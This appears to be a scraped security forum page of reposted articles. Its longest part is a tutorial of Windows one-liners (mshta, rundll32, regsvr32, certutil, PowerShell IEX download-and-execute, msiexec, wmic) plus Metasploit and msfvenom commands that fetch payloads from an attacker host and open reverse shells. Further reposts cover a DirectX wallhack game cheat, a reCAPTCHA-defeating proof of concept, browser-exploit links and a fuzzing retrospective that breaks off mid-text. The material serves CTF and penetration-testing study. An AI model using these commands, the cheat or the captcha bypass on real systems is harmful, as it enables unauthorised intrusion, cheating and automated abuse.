Nytro

Get Reverse-shell via Windows one-liner posted inPENETRATION TESTING on JANUARY 20, 2019 by RAJ CHANDEL SHARE This article will help those who play with CTF challenges, because today we will discuss “Windows One- Liner” to use malicious commands such as power shell or rundll32 to get reverse shell of the Windows system. Generally, while abusing HTTP services or other programs, we get RCE vulnerability. This loophole allows you to remotely execute any system command. We have therefore prepared a list of Windows commands that enable you to use the target machine to get reverse connections. Table of Content Mshta.exe Launch HTA attack via HTA Web Server of Metasploit Rundll32.exe Launch Rundll32 Attack via SMB Delivery of Metasploit Regsvr32.exe Launch Regsvr32 via Script Web Delivery of Metasploit Certutil.exe Launch MSbuild Attack via Msfvenom C# shellcode Powershell.exe Launch Powercat attack via Powershell Launch cscript.exe via Powershell Launch Batch File Attack via Powershell Msiexec.exe Launch msiexec attack via msfvenom Wmic.exe Launch Wmic.exe attack via Koadic Mshta.exe Mshta.exe runs the Microsoft HTML Application Host, the Windows OS utility responsible for running HTA( HTML Application) files. HTML files that we can run JavaScript or Visual with. You can interpret these files using the Microsoft MSHTA.exe tool. Metasploit contain “HTA Web Server” module which generate malicious hta file. This module hosts an HTML Application (HTA) that when opened will run a payload via Powershell. When a user navigates to the HTA file they will be prompted by IE twice before the payload is executed. 1 2 3 4 use exploit/windows/misc/hta_server msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109 msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109 msf exploit(windows/misc/hta_server) > exploit Now run the malicious code through mshta.exe on the victim’s machine (vulnerable to RCE) to obtain meterpreter sessions. Once you will execute the malicious hta file on the remote machine with the help of mshta.exe, you get reverse connection at your local machine (Kali Linux). 1 mshta.exe http://192.168.1.109:8080/5EEiDSd70ET0k.hta As you can observe that, we have meterpreter session of the victim as shown below: Rundll32.exe Rundll32.exe is associated with Windows Operating System that allow you to invoke a function exported from a DLL, either 16-bit or 32-bit and store it in proper memory libraries. Launch Rundll32 Attack via SMB Delivery of Metasploit Metasploit also contain “SMB Delivery” module which generate malicious dll file. This module serves payloads via an SMB server and provides commands to retrieve and execute the generated payloads. Currently supports DLLs and Powershell. 1 2 3 use exploit/windows/smb/smb_delivery msf exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.109 msf exploit(windows/smb/smb_delivery) > exploit Now run the malicious code through rundll32.exe on the victim machine (vulnerable to RCE) to obtain meterpreter sessions. Once you will execute the dll file on remote machine with the help of rundll32.exe, you will get reverse connection at your local machine (Kali Linux). 1 rundll3.exe \\192.168.1.109\vabFG\test.dll,0 As you can observe that, we have meterpreter session of the victim as shown below: Regsvr32.exe Regsvr32 is a command-line utility to register and unregister OLE controls, such as DLLs and ActiveX controls in the Windows Registry. Regsvr32.exe is installed in the %systemroot%\System32 folder in Windows XP and later versions of Windows. RegSvr32.exe has the following command-line options: Syntax: Regsvr32 [/s][/u] [/n] [/i[:cmdline]] <dllname> /u – Unregister server /i – Call DllInstall passing it an optional [cmdline]; when it is used with /u, it calls dll uninstall /n – do not call DllRegisterServer; this option must be used with /i /s – Silent; display no message boxes Launch Regsvr32 via Script Web Delivery of Metasploit This module quickly fires up a web server that serves a payload. The provided command which will allow for a payload to download and execute. It will do it either specified scripting language interpreter or “squiblydoo” via regsvr32.exe for bypassing application whitelisting. The main purpose of this module is to quickly establish a session on a target machine when the attacker has to manually type in the command: e.g. Command Injection. Regsvr32 uses “squiblydoo” technique for bypassing application whitelisting. The signed Microsoft binary file, Regsvr32, is able to request an .sct file and then execute the included PowerShell command inside of it. Both web requests (i.e., the .sct file and PowerShell download/execute) can occur on the same port. “PSH (Binary)” will write a file to the disk, allowing for custom binaries to be served up to be downloaded/executed. 1 2 3 4 5 6 use exploit/multi/script/web_delivery msf exploit (web_delivery)>set target 3 msf exploit (web_delivery)> set payload php/meterpreter/reverse_tcp msf exploit (web_delivery)> set lhost 192.168.1.109 msf exploit (web_delivery)>set srvhost 192.168.1.109 msf exploit (web_delivery)>exploit Copy the highlighted text shown in below window Once you will execute the scrobj.dll file on remote machine with the help of regsrv32.exe, you will get reverse connection at your local machine (Kali Linux). 1 regsvr32 /s /n /u /i:http://192.168.1.109:8080/xt5dIF.sct scrobj.dll As you can observe that, we have meterpreter session of the victim as shown below: Certutil.exe Certutil.exe is a command-line program that is installed as part of Certificate Services. We can use this tool to execute our malicious exe file in the target machine to get meterpreter session. Launch certutil Attack via Msfvenom Generate a malicious executable (.exe) file with msfvenom and start multi/handler to get reverser shell of victim’s machine. 1 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f exe > shell.exe Now, in order to dump configuration information or files of shell.exe file with certutil, you can follow below systax: Syntax: [-f] [-urlcache] [-split] Path of executable file 1 certutil.exe -urlcache -split -f http://192.168.1.109/shell.exe shell.exe & shell.exe 1 2 3 4 5 use exploit/multi/handler msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf exploit(multi/handler) > set lhost 192.168.1.109 msf exploit(multi/handler) > set lport 1234 msf exploit(multi/handler) > exploit As you can observe that, we have meterpreter session of the victim as shown below: Powershell.exe You can use PowerShell.exe to start a PowerShell session from the command line of another tool, such as Cmd.exe, or use it at the PowerShell command line to start a new session. Read more from official website of Microsoft Windows from here. Launch Powercat attack via Powershell Powercat is a PowerShell native backdoor listener and reverse shell also known as modify version of netcat because it has integrated support for the generation of encoded payloads, which msfvenom would do and also has a client- to- client relay, a term for Powercat client that allows two separate listeners to be connected. Download powershell in your local machine and then the powercat.ps1 transfer files with python http server to obtain reverse shell of the target as shown below and start netcat listener. 1 2 git clone https://github.com/besimorhino/powercat.git python -m SimpleHTTPServer 80 Then execute following command on remote side to get natcat session. 1 powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.109/powercat.ps1');powercat -c 192.168.1.109 -p 1234 -e cmd" As you can observe that, we have netcat session of the victim as shown below: Batch File Similarly, powershell allows client to execute bat file, therefore let’s generate malicious bat file with msfvenom as given below and start netcat listener. 1 msfvenom -p cmd/windows/reverse_powershell lhost=192.168.1.109 lport=4444 > 1.bat Then execute following command on remote side to get natcat session. 1 powershell -c "IEX((New-Object System.Net.WebClient).DownloadString('http://192.168.1.109/1.bat')) As you can observe that, we have netcat session of the victim as shown below: Cscript Similarly, powershell allows client to execute cscript.exe to run wsf, js and vbs script, therefore let’s generate malicious bat file with msfvenom as given below and start multi/handler as listener. 1 msfvenom -p cmd/windows/reverse_powershell lhost=192.168.1.109 lport=1234 -f vbs > 1.vbs Then execute following command on remote side to get meterpreter session. 1 powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://192.168.1.109/1.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\"" 1 2 3 4 5 use exploit/multi/handler msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf exploit(multi/handler) > set lhost 192.168.1.109 msf exploit(multi/handler) > set lport 1234 msf exploit(multi/handler) > exploit As you can observe that, we have meterpreter session of the victim as shown below: Msiexec.exe As we all are aware that Windows OS comes installed with a Windows Installer engine which is used by MSI packages for the installation of applications. The executable program that interprets packages and installs products is Msiexec.exe. Launch msiexec attack via msfvenom Let’s generate a MSI Package file (1.msi) utilizing the Windows Meterpreter payload as follows and start multi/handler as listener. 1 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f msi > 1.msi Once you will execute the 1.msi file on remote machine with the help of msiexec, you will get reverse connection at your local machine (Kali Linux). 1 msiexec /q /i http://192.168.1.109/1.msi 1 2 3 4 5 use exploit/multi/handler msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf exploit(multi/handler) > set lhost 192.168.1.109 msf exploit(multi/handler) > set lport 1234 msf exploit(multi/handler) > exploit As you can observe that, we have meterpreter session of the victim as shown below: Wmic.exe The WMIC utility is a Microsoft tool provides a WMI command-line interface that is used for a variety of administrative functions for local and remote machine and also used to wmic query such as system settings, stop processes and execute scripts locally or remotely. Therefore, it can invoke XSL script (eXtensible Stylesheet Language). Launch Wmic.exe attack via Koadic Now will generate a malicious XSL file with the help of koadic which is a Command & Control tool which is quite similar to Metasploit and Powershell Empire. To know how koadic works, read our article from here: https://www.hackingarticles.in/koadic-com-command-control-framework/ Once installation gets completed, you can run ./koadic file to start koadic and start with loading the sta/js/wmic stager by running the following command and set SRVHOST where the stager should call home. 1 2 3 use stager/js/wmic set SRVHOST 192.168.1.107 run Execute WMIC following command to download and run the malicious XSL file from a remote server: 1 wmic os get /FORMAT:"http://192.168.1.107:9996/g8gkv.xsl" Once the malicious XSL file will get executed on target machine, you will have a Zombie connection just like metasploit. Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here Sursa: https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/

Incetul cu incetul, se dezvolta utilitatea acestor micro-patch-uri.

Network scanning with nmap On 21 January 2019 By nytrosecurity Introduction First step in the process of penetration testing is “Information gathering”, the phase where it is useful to get as much information about the target(s) as possible. While it might be different for the different type of penetration tests, such as web application or mobile application pentest, network scanning is a crucial step in the infrastructure or network pentest. Let’s take a simple scenario: you are a penetration tester and a company want to test one of its servers. They send you the IP address of the server. How to proceed? Although nmap allows to easily specify multiple IP targets or IP classes, to keep things simple, I will use a single target IP address which I have the permission to scan (my server): 137.74.202.89. Why? To find vulnerabilities in a remote system, you should first find the network services running on the target server by doing a network scan and finding the open ports. A service, such as Apache or MySQL can open one or multiple ports on a server to provide its functionality, such as serving web pages or providing access to a database. Articol complet: https://nytrosecurity.com/2019/01/21/network-scanning-with-nmap/

Recomand: https://docs.microsoft.com/en-us/sysinternals/downloads/strings

Creating your own Wallhack niemand Posted on January 13, 2019 Wallhack In the previous posts we have done most of the heavy work, but what comes now is really simple compared with the rest. We have created a basic template for hooking DirectX11 and inject our own interface, then we created a Model Logger to allows us to highlight and identify the most important Models we wanted to modify, but something is missing, right? What can we do once we have the correct model highlighted? One of those things is a Wallhack of course! If you are here you know what a Wallhack is, this kind of game tweaking has been always known. In this post, we are going to see how to use our template to enable Wallhacking on the selected models, or what it is the same, disable Z-Buffering on DirectX. Revealing enemies behind another objects. How Z-Buffering works? Z-Buffering or Depth-Stencil (as is known in version 11), is a property that stored depth information used by DirectX when it is rendering a scene. It determines how deep each pixel is in the scene. By doing this, DirectX knows exactly which pixels to render from each model based on the value of this attribute. If we imagine this as two dimensions array, it will select for each pixel in X and Y the value based on Z-Buffering value. In other words, the object/model that its closer to the point of view. http://www.racketboy.com/retro/about-video-games-rasterization-and-z-buffer The main idea here will be to disable Z-Buffering for the models we want to reveal behind the rest of the models (walls, floors, etc). DirectX 9 vs DirectX 11 In both versions, this is actually quite easy, however, I want to remark the differences. For version 9, disabling is as simple as calling the method IDirect3DDevice9::SetRenderState, which receives two parameters: the device state variable that will be modified, and the new value. pDevice->SetRenderState(D3DRS_ZENABLE, false); In this case, the variable we need to modify is D3DRS_ZENABLE, and the new value is false. It’s just as simple as that. Something important that we have to remember for both versions is that we need to enable this again after calling the original DrawIndexedPrimitive, enabling Z-Buffering for all the rest of the models. For version 11, two different methods are required: ID3D11Device::CreateDepthStencilStateand ID3D11DeviceContext::OMSetDepthStencilState. The first one will be used to create an ID3D11DepthStencilState that will disable Z-Buffering and then be sent as a parameter to the second method when the model we want to reveal is being rendered, that means inside DrawIndexed. More info here. Let’s jump to the code! Oh wait, before that, I will like to resume the steps we need to implement our wallhack. Create a new DepthStencilState disabling Z-Buffering Check if we are rendering the target model. Disable Z-Buffering Render the Model Enable Z-Buffering again Create a new DepthStencilState disabling Z-Buffering How to create a new DepthStencilState is detailed in Microsoft documentation: Configuring Depth-Stencil Functionality. But remember that we will need to disable the Z-Buffering, so our version will be like this: ID3D11DepthStencilState *m_DepthStencilState; // Disabling Z-Buffering D3D11_DEPTH_STENCIL_DESC depthStencilDesc; depthStencilDesc.DepthEnable = TRUE; depthStencilDesc.DepthWriteMask = D3D11_DEPTH_WRITE_MASK_ALL; depthStencilDesc.DepthFunc = D3D11_COMPARISON_ALWAYS; depthStencilDesc.StencilEnable = FALSE; depthStencilDesc.StencilReadMask = 0xFF; depthStencilDesc.StencilWriteMask = 0xFF; // Stencil operations if pixel is front-facing depthStencilDesc.FrontFace.StencilFailOp = D3D11_STENCIL_OP_KEEP; depthStencilDesc.FrontFace.StencilDepthFailOp = D3D11_STENCIL_OP_INCR; depthStencilDesc.FrontFace.StencilPassOp = D3D11_STENCIL_OP_KEEP; depthStencilDesc.FrontFace.StencilFunc = D3D11_COMPARISON_ALWAYS; // Stencil operations if pixel is back-facing depthStencilDesc.BackFace.StencilFailOp = D3D11_STENCIL_OP_KEEP; depthStencilDesc.BackFace.StencilDepthFailOp = D3D11_STENCIL_OP_DECR; depthStencilDesc.BackFace.StencilPassOp = D3D11_STENCIL_OP_KEEP; depthStencilDesc.BackFace.StencilFunc = D3D11_COMPARISON_ALWAYS; Now its time to call CreateDepthStencilState. We will pass as parameter the D3D11_DEPTH_STENCIL_DESC we just created and a pointer to our new ID3D11DepthStencilState. pDevice->CreateDepthStencilState(&depthStencilDesc, &m_DepthStencilState); Now we are ready to move to the next step. Check if we are rendering the target model In our previous version of the template, we have been doing something similar to what we need here, but it will be better if we do some improvements. Until now we were checking the model we were currently rendering inside our hooked DrawIndexed method, but this was when we had a list of Models and we wanted to identify our target. What could we do now? Well, if we did our homework, we should have by now the Model Properties of our target and it’s time to use them. Let’s create a new std::unordered_set to store all the properties belonging to the Models we want to reveal and store there our collected values: std::unordered_set<propertiesModel> wallhackParams; void setupWallhack() { propertiesModel wallhackParamsItem; wallhackParamsItem.stride = 8; wallhackParamsItem.vedesc_ByteWidth = 16552; wallhackParamsItem.indesc_ByteWidth = 10164; wallhackParamsItem.pscdesc_ByteWidth = 832; wallhackParams.insert(wallhackParamsItem); } Those values, belong to the models of the enemies in mid/large range for Vermintide 2, and I found them by logging the Models with our template. In many games you will see that enemies may be split in multiple models, not only for the parts of the body/clothes but also this models could change depending on the distance between you and the object. By selecting the model used for rendering my enemy in a mid/large range, allows me to see them normally when they are close but highlighted when they aren’t next to me. Now we will modify our validations to see if we are rendering not only our current item from the Model List, but also one of the targeted models: if ((paramsModel == currentParams || wallhackParams.find(paramsModel) != wallhackParams.end() )&& bShader) { // SNIPPED if (bWallhack) { // DISABLE Z-Buffering } } else if ( (paramsModel == currentParams || wallhackParams.find(paramsModel) != wallhackParams.end()) && bTexture) { // SNIPPED if (bWallhack) { // DISABLE Z-Buffering } } If wallhackParams.find does not contain paramsModel it will be equal to .end element as the documentation says: std::set::find Disable Z-Buffering It’s so simple as the following line: pContext->OMSetDepthStencilState(m_DepthStencilState, 0); We are calling OMSetDepthStencilState with the DepthStencilState pointer we created before. Render the Model Then we have to call to the original the original DrawIndexed: fnID3D11DrawIndexed(pContext, IndexCount, StartIndexLocation, BaseVertexLocation); Enable Z-Buffering again What would happen if we do not enable Z-Buffering again? We are reveling multiple objects of the game since non of them have Z-Buffering enabled That’s why we will need to store the original DepthStencilState we had before disabling it: UINT stencilValue = 0; pContext->OMGetDepthStencilState(&m_origDepthStencilState, &stencilValue); And finally, after calling DrawIndexed, we set this value again: pContext->OMSetDepthStencilState(m_origDepthStencilState, stencilValue); Result Once we have everything working we will see something like this: Next Steps? DirectX is extremely powerful and we have seen just a few examples of what we can do. In the following posts we will continue discovering all the different kind of things we can achieve and the best way to approach them. Sursa: https://niemand.com.ar/2019/01/13/creating-your-own-wallhack/

Posteaza aici cand ai nevoie de ajutor.

Probably you need to update it (replace 0xcccccccc with your shellcode - first 4 bytes, and continue). Not sure. write_32(codeAddr,0xcccccccc);

C++ sau Java. Si o sa ai bazele necesare pentru multe alte limbaje. PS: In Romania, dupa parerea mea, momentan se cauta mult pe Java.

Eu sper sa fie open-source. La urma urmei, nu e cine stie ce 0day si daca nu au nimic de ascuns, il fac open-source. Eh, si asa se pot ascunde lucruri.

Aici e un probabil screenshot (vechi): https://twitter.com/megabeets_/status/1083119509756674053

Din moment ce IBM a platit ceva verzisori pentru RedHat, cel mai probabil (daca este aplicabil calculatoarelor cuantice) vor folosi, sau adapta, Linux.

Vor trece de metodele "traditionale" de encriptie, insa cred ca vor mai trece ani buni pana atunci (cel putin pana va ajunge public). Insa pana atunci probabil vom avea si standarde de post-quantum cryptography. Oare o sa mearga bine jocurile pe calculatoarele astea?

Multe lucruri interesante.

Ceva de genul? https://w.wol.ph/2015/08/28/maximum-wifi-transmission-power-country/ Incearca un search aici: https://www.etsi.org/

Copy/Paste de la IDA: " IDA is a Windows, Linux or Mac OS X hosted multi-processor disassembler and debugger that offers so many features it is hard to describe them all. "

Doar cei care lucreaza/au lucrat la NSA s-au jucat cu acel tool. Din martie, ne vom juca cu totii. Sper, ca pe langa "fully featured tool", sa arate si bine. Si obligatoriu: Dark Theme! Edit: Arata cam asa: https://wikileaks.org/ciav7p1/cms/page_9536070.html

Da, pare interesant. Pacat ca e facut in Java, insa e util ca e cross-platform. Din cate am vazut pe Twitter, o sa aiba UNDO! Iar cineva care a lucrat la NSA (Charlie Miller) zicea ca tool-ul are cel putin 13 ani, deci sper sa fie ceva de calitate.

Da, insa flexibilitatea si mai ales viteza de executie a limbajelor low level va fi intotdeauna la baza alegerilor facute pentru multe proiecte, ca browserele. Insa exista tendinta de a incerca lucruri noi, cun ar fi Rust (la Mozilla). Parca.

Nu doar asta, mai multe detalii despre implementare si cum se poate exploata.

awesome-browser-exploit Share some useful archives about browser exploitation. I'm just starting to collect what I can found, and I'm only a starter in this area as well. Contributions are welcome. Chrome v8 Basic v8 github mirror(docs within)[github] on-stack replacement in v8[article] // multiple articles can be found within A tour of V8: Garbage Collection[article] A tour of V8: object representation[article] v8 fast properties[article] learning v8[github] Writeup and Exploit Tech Mobile Pwn2Own Autumn 2013 - Chrome on Android - Exploit Writeup[article] Exploiting a V8 OOB write[article] IE Basic Microsoft Edge MemGC Internals[slides] The ECMA and the Chakra[slides] Writeup and Exploit Tech 2012 - Memory Corruption Exploitation In Internet Explorer[slides] 2013 - IE 0day Analysis And Exploit[slides] 2014 - Write Once, Pwn Anywhere[slides] 2014 - The Art of Leaks: The Return of Heap Feng Shui[slides] 2014 - IE 11 0day & Windows 8.1 Exploit[slides] 2014 - IE11 Sandbox Escapes Presentation[slides] 2015 - Spartan 0day & Exploit[slides] 2015 - 浏览器漏洞攻防对抗的艺术 Art of browser Vulnerability attack and defense (Chinese)[slides] 2016 - Look Mom, I don't use Shellcode[slides] 2016 - Windows 10 x64 edge 0day and exploit[slides] 2017 - 1-Day Browser & Kernel Exploitation[slides] 2017 - The Secret of ChakraCore: 10 Ways to Go Beyond the Edge[slides] 2017 - From Out of Memory to Remote Code Executio[slides] 2018 - Edge Inline Segment Use After Free (Chinese) Mitigation 2017 - CROSS THE WALL-BYPASS ALL MODERN MITIGATIONS OF MICROSOFT EDGE[slides] Browser security mitigations against memory corruption vulnerabilities[references] Browsers and app specific security mitigation (Russian) part 1[article] Browsers and app specific security mitigation (Russian) part 2[article] Browsers and app specific security mitigation (Russian) part 3[article] Webkit Basic JSC loves ES6[article] // multiple articles can be found within JavaScriptCore, the WebKit JS implementation[article] saelo's Pwn2Own 2018 Safari + macOS[exploit] Writeup and Exploit Tech Attacking WebKit Applications by exploiting memory corruption bugs[slides] Firefox Writeup and Exploit Tech CVE-2018-5129: Out-of-bounds write with malformed IPC messages[article] Misc Browser Basic Sea of Nodes[articles] // multiple articles can be found within Fuzzing The Power-Of Pair[slides] Browser Fuzzing[slides] Taking Browsers Fuzzing To The Next (DOM) Level[slides] DOM fuzzer - domato[github] browser fuzzing framework - morph[github] browser fuzzing and crash management framework - grinder[github] Browser Fuzzing with a Twist[slides] Browser fuzzing - peach[wiki] 从零开始学Fuzzing系列：浏览器挖掘框架Morph诞生记 Learn Fuzzing from Very Start: the Birth of Browser Vulnerability Detection Framework Morph(Chinese)[article] BROWSER FUZZING IN 2014:David vs Goliath[slides] A Review of Fuzzing Tools and Methods[article] Writeup and Exploit Tech it-sec catalog browser exploitation chapter[articles] 2014 - Smashing The Browser: From Vulnerability Discovery To Exploit[slides] smash the browser[github] Collections uxss-db js-vuln-db Thanks 0x9a82 swing Metnew Sursa: https://github.com/Escapingbug/awesome-browser-exploit/blob/master/README.md

⚠️ This code works on the most recent version of ReCaptcha. Only use on sites you control for educational purposes. ⚠️ Created in April 2017, unCaptcha achieved 85% accuracy defeating Google's ReCaptcha. After the release of this work, Google released an update to ReCaptcha with the following major changes: Better browser automation detection Spoken phrases rather than digits These changes were initially successful in protecting against the original unCaptcha attack. However, as of June 2018, these challenges have been solved. We have been in contact with the ReCaptcha team for over six months and they are fully aware of this attack. The team has allowed us to release the code, despite its current success. Introducing unCaptcha2 Thanks to the changes to the audio challenge, passing ReCaptcha is easier than ever before. The code now only needs to make a single request to a free, publicly available speech to text API to achieve around 90% accuracy over all captchas. Since the changes to ReCaptcha prevent Selenium, a browser automation engine, unCaptcha2 uses a screen clicker to move to certain pixels on the screen and move around the page like a human. There is certainly work to be done here - the coordinates need to be updated for each new user and is not the most robust. The Approach unCaptcha2's approach is very simple: Navigate to Google's ReCaptcha Demo site Navigate to audio challenge for ReCaptcha Download audio challenge Submit audio challenge to Speech To Text Parse response and type answer Press submit and check if successful Demo How To Use Since unCaptcha2 has to go to specific coordinates on the screen, you'll need to update the coordinates based on your setup. These coordinates are located at the top of run.py. On Linux, using the command xdotool getmouselocation --shell to find the coordinates of your mouse may be helpful. You'll also need to set your credentials for whichever speech-to-text API you choose. Since Google's, Microsoft's, and IBM's speech-to-text systems seem to work the best, those are already included in queryAPI.py. You'll have to set the username and password as required; for Google's API, you'll have to set an environment variable (GOOGLE_APPLICATION_CREDENTIALS) with a file containing your Google application credentials. Finally, install the dependencies, using pip install -r dependencies.txt. Responsible Disclosure We contacted the Recaptcha team in June 2018 to alert them that the updates to the Recaptcha system made it less secure, and a formal issue was opened on June 27th, 2018. We demonstrated a fully functional version of this attack soon thereafter. We chose to wait 6 months after the initial disclosure to give the Recaptcha team time to address the underlying architectural issues in the Recaptcha system. The Recaptcha team is aware of this attack vector, and have confirmed they are okay with us releasing this code, despite its current success rate. This attack vector was deemed out of scope for the bug bounty program. Disclaimer unCaptcha2, like the original version, is meant to be a proof of concept. As Google updates its service, this repository will not be updated. As a result, it is not expected to work in the future, and is likely to break at any time. Unfortunately, due to Google's work in browser automation detection, this version of unCaptcha does not use Selenium. As a result, the code has to navigate to specific parts of the screen. To see unCaptcha working for yourself, you will need to change the coordinates for your screen resolution. While unCaptcha2 is tuned for Google's Demo site, it can be changed to work for any such site - the logic for defeating ReCaptcha will be the same. Additionally, we have removed our API keys from all the necessary queries. If you are looking to recreate some of the work or are doing your own research in this area, you will need to acquire API keys from each of the six services used. These keys are delineated in our files by a long string of the character 'X'. It's worth noting that the only protection against creating multiple API keys is ReCaptcha - therefore, unCaptcha could be made self sufficient by solving captchas to sign up for new API keys. As always, thanks to everyone who puts up with me, including, Kkevsterrr Dave Levin dpatel19 Sursa: https://github.com/ecthros/uncaptcha2

Fuzzing Like It’s 1989 Post December 31, 2018 Leave a comment With 2019 a day away, let’s reflect on the past to see how we can improve. Yes, let’s take a long look back 30 years and reflect on the original fuzzing paper, An Empirical Study of the Reliability of UNIX Utilities, and its 1995 follow-up, Fuzz Revisited, by Barton P. Miller. In this blog post, we are going to find bugs in modern versions of Ubuntu Linux using the exact same tools as described in the original fuzzing papers. You should read the original papers not only for context, but for their insight. They proved to be very prescient about the vulnerabilities and exploits that would plague code over the decade following their publication. Astute readers may notice the publication date for the original paper is 1990. Even more perceptive readers will observe the copyright date of the source code comments: 1989. A Quick Review For those of you who didn’t read the papers (you really should), this section provides a quick summary and some choice quotes. The fuzz program works by generating random character streams, with the option to generate only printable, control, or non-printable characters. The program uses a seed to generate reproducible results, which is a useful feature modern fuzzers often lack. A set of scripts execute target programs and check for core dumps. Program hangs are detected manually. Adapters provide random input to interactive programs (1990 paper), network services (1995 paper), and graphical X programs (1995 paper). The 1990 paper tests four different processor architectures (i386, CVAX, Sparc, 68020) and five operating systems (4.3BSD, SunOS, AIX, Xenix, Dynix). The 1995 paper has similar platform diversity. In the first paper, 25-33% of utilities fail, depending on the platform. In the 1995 follow-on, the numbers range from 9%-33%, with GNU (on SunOS) and Linux being by far the least likely to crash. The 1990 paper concludes that (1) programmers do not check array bounds or error codes, (2) macros make code hard to read and debug, and (3) C is very unsafe. The extremely unsafe gets function and C’s type system receive special mention. During testing, the authors discover format string vulnerabilities years before their widespread exploitation (see page 15). The paper concludes with a user survey asking about how often users fix or report bugs. Turns out reporting bugs was hard and there was little interest in fixing them. The 1995 paper mentions open source software and includes a discussion of why it may have fewer bugs. It also contains this choice quote: When we examined the bugs that caused the failures, a distressing phenomenon emerged: many of the bugs discovered (approximately 40%) and reported in 1990 are still present in their exact form in 1995. … The techniques used in this study are simple and mostly automatic. It is difficult to understand why a vendor would not partake of a free and easy source of reliability improvements. It would take another 15-20 years for fuzz testing to become standard practice at large software development shops. I also found this statement, written in 1990 to be prescient of things to come: Often the terseness of the C programming style is carried to extremes; form is emphasized over correct function. The ability to overflow an input buffer is also a potential security hole, as shown by the recent Internet worm. Testing Methodology Thankfully, after 30 years, Dr. Barton still provides full source code, scripts, and data to reproduce his results, which is a commendable goal that more researchers should emulate. The scripts and fuzzing code have aged surprisingly well. The scripts work as is, and the fuzz tool required only minor changes to compile and run. For these tests, we used the scripts and data found in the fuzz-1995-basic repository, because it includes the most modern list of applications to test. As per the top-level README, these are the same random inputs used for the original fuzzing tests. The results presented below for modern Linux used the exact same code and data as the original papers. The only thing changed is the master command list to reflect modern Linux utilities. Updates for 30 Years of New Software Obviously there have been some changes in Linux software packages in the past 30 years, although quite a few tested utilities still trace their lineage back several decades. Modern versions of the same software audited in the 1995 paper were tested, where possible. Some software was no longer available and had to be replaced. The justification for each replacement is as follows: cfe ⇨ cc1: This is a C preprocessor and equivalent to the one used in the 1995 paper. dbx ⇨ gdb: This is a debugger, an equivalence to that used in the 1995 paper. ditroff ⇨ groff: ditroff is no longer available. dtbl ⇨ gtbl: A GNU Troff equivalent of the old dtbl utility. lisp ⇨ clisp: A common lisp implementation. more ⇨ less: Less is more! prolog ⇨ swipl: There were two choices for prolog: SWI Prolog and GNU Prolog. SWI Prolog won out because it is an older and a more comprehensive implementation. awk ⇨ gawk: The GNU version of awk. cc ⇨ gcc: The default C compiler. compress ⇨ gzip: GZip is the spiritual successor of old Unix compress. lint ⇨ splint: A GPL-licensed rewrite of lint. /bin/mail ⇨ /usr/bin/mail: This should be an equivalent utility at a different path. f77 ⇨ fort77: There were two possible choices for a Fortan77 compiler: GNU Fortran and Fort77. GNU Fortran is recommended for Fortran 90, while Fort77 is recommended for Fortran77 support. The f2c program is actively maintained and the changelog records entries date back to 1989. Results The fuzzing methods of 1989 still find bugs in 2018. There has, however, been progress. Measuring progress requires a baseline, and fortunately, there is a baseline for Linux utilities. While the original fuzzing paper from 1990 predates Linux, the 1995 re-test uses the same code to fuzz Linux utilities on the 1995 Slackware 2.1.0 distribution. The relevant results appear on Table 3 of the 1995 paper (pages 7-9). GNU/Linux held up very well against commercial competitors: The failure rate of the utilities on the freely-distributed Linux version of UNIX was second-lowest at 9%. Let’s examine how the Linux utilities of 2018 compare to the Linux utilities of 1995 using the fuzzing tools of 1989: Ubuntu 18.10 (2018) Ubuntu 18.04 (2018) Ubuntu 16.04 (2016) Ubuntu 14.04 (2014) Slackware 2.1.0 (1995) Crashes 1 (f77) 1 (f77) 2 (f77, ul) 2 (swipl, f77) 4 (ul, flex, indent, gdb) Hangs 1 (spell) 1 (spell) 1 (spell) 2 (spell, units) 1 (ctags) Total Tested 81 81 81 81 55 Crash/Hang % 2% 2% 4% 5% 9% Amazingly, the Linux crash and hang count is still not zero, even for the latest Ubuntu release. The f2c program called by f77 triggers a segmentation fault, and the spell program hangs on two of the test inputs. What Are The Bugs? There are few enough bugs that I could manually investigate the root cause of some issues. Some results, like a bug in glibc, were surprising while others, like an sprintf into a fixed-sized buffer, were predictable. The ul crash The bug in ul is actually a bug in glibc. Specifically, it is an issue reported here and here (another person triggered it in ul) in 2016. According to the bug tracker it is still unfixed. Since the issue cannot be triggered on Ubuntu 18.04 and newer, the bug has been fixed at the distribution level. From the bug tracker comments, the core issue could be very serious. f77 crash The f77 program is provided by the fort77 package, which itself is a wrapper script around f2c, a Fortran77-to-C source translator. Debugging f2c reveals the crash is in the errstr function when printing an overly long error message. The f2c source reveals that it uses sprintf to write a variable length string into a fixed sized buffer: 1 2 3 4 5 6 7 errstr(const char *s, const char *t) #endif { char buff[100]; sprintf(buff, s, t); err(buff); } This issue looks like it’s been a part of f2c since inception. The f2c program has existed since at least 1989, per the changelog. A Fortran77 compiler was not tested on Linux in the 1995 fuzzing re-test, but had it been, this issue would have been found earlier. The spell Hang This is a great example of a classical deadlock. The spell program delegates spell checking to the ispell program via a pipe. The spell program reads text line by line and issues a blocking write of line size to ispell. The ispell program, however, will read at most BUFSIZ/2 bytes at a time (4096 bytes on my system) and issue a blocking write to ensure the client received spelling data processed thus far. Two different test inputs cause spell to write a line of more than 4096 characters to ispell, causing a deadlock: spell waits for ispell to read the whole line, while ispell waits for spell to acknowledge that it read the initial corrections. The units Hang Upon initial examination this appears to be an infinite loop condition. The hang looks to be in libreadline and not units, although newer versions of units do not suffer from the bug. The changelog indicates some input filtering was added, which may have inadvertently fixed this issue. While a thorough investigation of the cause and correction was out of scope for this blog post, there may still be a way to supply hanging input to libreadline. The swipl Crash For completeness I wanted to include the swipl crash. However, I did not investigate it thoroughly, as the crash has been long-fixed and looks fairly benign. The crash is actually an assertion (i.e. a thing that should never occur has happened) triggered during character conversion: 1 2 3 4 5 6 